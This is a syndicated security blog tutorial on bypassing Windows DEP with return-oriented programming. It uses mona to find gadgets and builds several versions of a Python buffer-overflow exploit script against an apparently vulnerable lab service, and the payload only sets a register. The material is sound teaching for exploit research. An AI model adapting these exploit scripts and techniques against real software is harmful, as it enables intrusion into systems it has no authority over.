SBN

Bypassing DEP with ROP

In the last blog entry, we made an introduction
to what DEP (Data Execution Protection) is and how it affected common
buffer overflow exploits.

In this post, we’ll show a way to bypass DEP using Return-Oriented
Programming (ROP).

ROP

When we’re writing an exploit to a buffer overflow vulnerability on an
application without DEP, we overwrite the saved instruction pointer on
the stack frame of the affected function with a pointer to something
like JMP ESP (or any other register pointing to our shellcode). We
then place a shellcode on the stack, which is finally executed when the
JMP ESP is performed.

When we perform a JMP ESP (or any other general-purpose register), the
program expects to find instructions in the address pointed to
ESP. With DEP, we can’t execute instructions on the stack, but we
still control the execution flow.

What would happen if, instead of overwriting the Saved EIP with a
pointer to JMP ESP, we overwrite it with a pointer to a RETN
instruction? The RETN instruction is commonly used in the function
epilogues and will make one thing: Pop the value pointed by ESP and
use it as the next instruction pointer or EIP. In other words, RETN
expects to find in the address pointed to ESP, a pointer to an
instruction
, not an instruction itself.

As we control the execution flow and write on the stack, we can do
whatever we want. Let’s find a RETN instruction:

!mona find -type instr -s "retn" -p 10 -o

This will tell mona to find up to 10 RETN instructions. The result
is:

RETN instructions

Let’s take the first one at 62501022 and update the exploit of the
previous post. This time we want to make EAX
have the value 0xdeadbeef:

#!/usr/bin/env python3### Bypass DEPimport socketimport structHOST = '192.168.0.20'PORT = 9999PAYLOAD = (    b'TRUN .' +    b'A' * 2006 +    # 62501022  \.  C3                    RETN    struct.pack('<L', 0x62501022) +    b'\x31\xc0' +                   # xor eax,eax    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee    b'\x40' +                       # inc eax. Now eax=0xdeadbeef    b'C' * 990)with socket.create_connection((HOST, PORT)) as fd:    fd.sendall(PAYLOAD)

And see what happens:

RETN

Here’s what happened:

  1. We put a breakpoint at the address of the RETN instruction.

  2. We executed the exploit.

  3. The breakpoint was hit.

  4. When it hits, look at the value pointed by ESP: EE05C031.

  5. That value is part of the shellcode injected:

    1. xor eax,eax → \x31\xc0

    2. add eax,0xdeadbeee → \x05\xee\xbe\xad\xde (the first two
      bytes)

  6. When the RETN instruction is executed, that value EE05C031 is
    stored on EIP.

What it means is that we can replace the EE05C031 bytes with an
arbitrary pointer that will become the next instruction to be executed!

In our exploit, we want to make EAX = 0xdeadbeef using three
instructions: xor eax,eax, add eax,0xdeadbeee and inc eax. Let’s
check if we can find a pointer in the execution environment that
performs the first (xor eax,eax) operation:

RETN

We could find one at 62501162 that points to a xor eax,eax. Let’s
update our exploit and place that address instead of the xor eax,eax
instruction:

#!/usr/bin/env python3## Bypass DEPimport socketimport structHOST = '192.168.0.20'PORT = 9999PAYLOAD = (    b'TRUN .' +    b'A' * 2006 +    # 62501022  \.  C3                    RETN    struct.pack('<L', 0x62501022) +    # 62501162  |.  31C0                  XOR EAX,EAX    struct.pack('<L', 0x62501162) +    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee    b'\x40' +                       # inc eax. Now eax=0xdeadbeef    b'C' * 990)with socket.create_connection((HOST, PORT)) as fd:    fd.sendall(PAYLOAD)

Run it:

ROP

Wonderful! Here’s what happened:

  1. The pointer to the RETN instruction was reached.

  2. When the RETN ran, it retrieved the value pointed by ESP and
    updated EIP with that.

  3. In our case, that value was a pointer to a xor eax,eax
    instruction.

  4. With that, the xor eax,eax was successfully executed! We bypassed
    DEP!

However, there’s a problem. If you look at the animation, the execution
flow was diverted to where the xor eax,eax instruction was placed, but
then we lost control.

We need to make EAX = 0xdeadbeee. There’re several ways to do that. We
tried with xor eax,eax → add eax,0xdeadbeee but another way to do it
is to place the value 0xdeadbeee on top of the stack and then perform
a pop eax. We also need to regain control of the execution flow. This
can be done by returning to the stack, so we can execute the last
instruction on our shellcode inc eax and make EAX = 0xdeadbeef. That
means that we need to find an address to a pop eax instruction
followed by a retn.

POP EAX

We found it at 625011B4! Now, do you see why this is called ROP?
It’s because we always need to return back to the stack to fetch the
next pointer to our next desired instruction. For the record, any
instruction or set of instructions followed by a retn is called a
Gadget in ROP terms.

Our pop eax # retn gadget relies on the stack having the value
0xdeadbeee on the top. Let’s update our exploit:

#!/usr/bin/env python3## Bypass DEPimport socketimport structHOST = '192.168.0.20'PORT = 9999PAYLOAD = (    b'TRUN .' +    b'A' * 2006 +    # 62501022  \.  C3                    RETN    struct.pack('<L', 0x62501022) +    # 625011B4   .  58                    POP EAX    # 625011B5   .  C3                    RETN    struct.pack('<L', 0x625011B4) +    # Value that will be retrieved by POP EAX    struct.pack('<L', 0xdeadbeee) +    b'\x40' +                       # inc eax. Now eax=0xdeadbeef    b'C' * 990)with socket.create_connection((HOST, PORT)) as fd:    fd.sendall(PAYLOAD)

Check it:

POP EAX

We were able to make EAX = 0xdeadbeee using ROP. Now, the final step
is to find an inc eax pointer to make EAX = 0xdeadbeef.

INC EAX

We found one at 00402139. As this is the last instruction of our
shellcode, the NULL byte won’t affect the exploit. Let’s update the
code:

#!/usr/bin/env python3## Bypass DEPimport socketimport structHOST = '192.168.0.20'PORT = 9999PAYLOAD = (    b'TRUN .' +    b'A' * 2006 +    # 62501022  \.  C3                    RETN    struct.pack('<L', 0x62501022) +    # 625011B4   .  58                    POP EAX    # 625011B5   .  C3                    RETN    struct.pack('<L', 0x625011B4) +    # Value that will be retrieved by POP EAX    struct.pack('<L', 0xdeadbeee) +    # 00402139   .  40                    INC EAX    struct.pack('<L', 0x00402139) +    b'C' * 990)with socket.create_connection((HOST, PORT)) as fd:    fd.sendall(PAYLOAD)

Check it:

ROP

We were able to make EAX = 0xdeadbeef without executing a single
instruction on the stack! We’ve bypassed DEP!

Using mona to find gadgets

You may notice by now that finding useful gadgets could become something
really tedious. Fortunately for us, mona has made this task easy. You
just need to issue the following:

!mona rop

And wait for mona to do the hard work:

Mona ROP

With that, mona will find usable gadgets on the execution environment.
A file called rop.txt is placed on the mona directory of the
debuggee application containing all the gadgets found. mona also
generates a proposal of something called ROP chains, which is nothing
but a set of ROP gadgets chained together to perform something more
complex. I won’t spoil the next post, but ROP chains will be used later
in a more serious exploitation.

Conclusions

Here we could see a way to bypass the Data Execution Protection on a
modern Windows system. However, the shellcode used was very basic and
only demonstrated that DEP could be bypassed. We’ll use ROP to create
something more complex in the next post.


*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Andres Roldan. Read the original post at: https://fluidattacks.com/blog/bypassing-dep/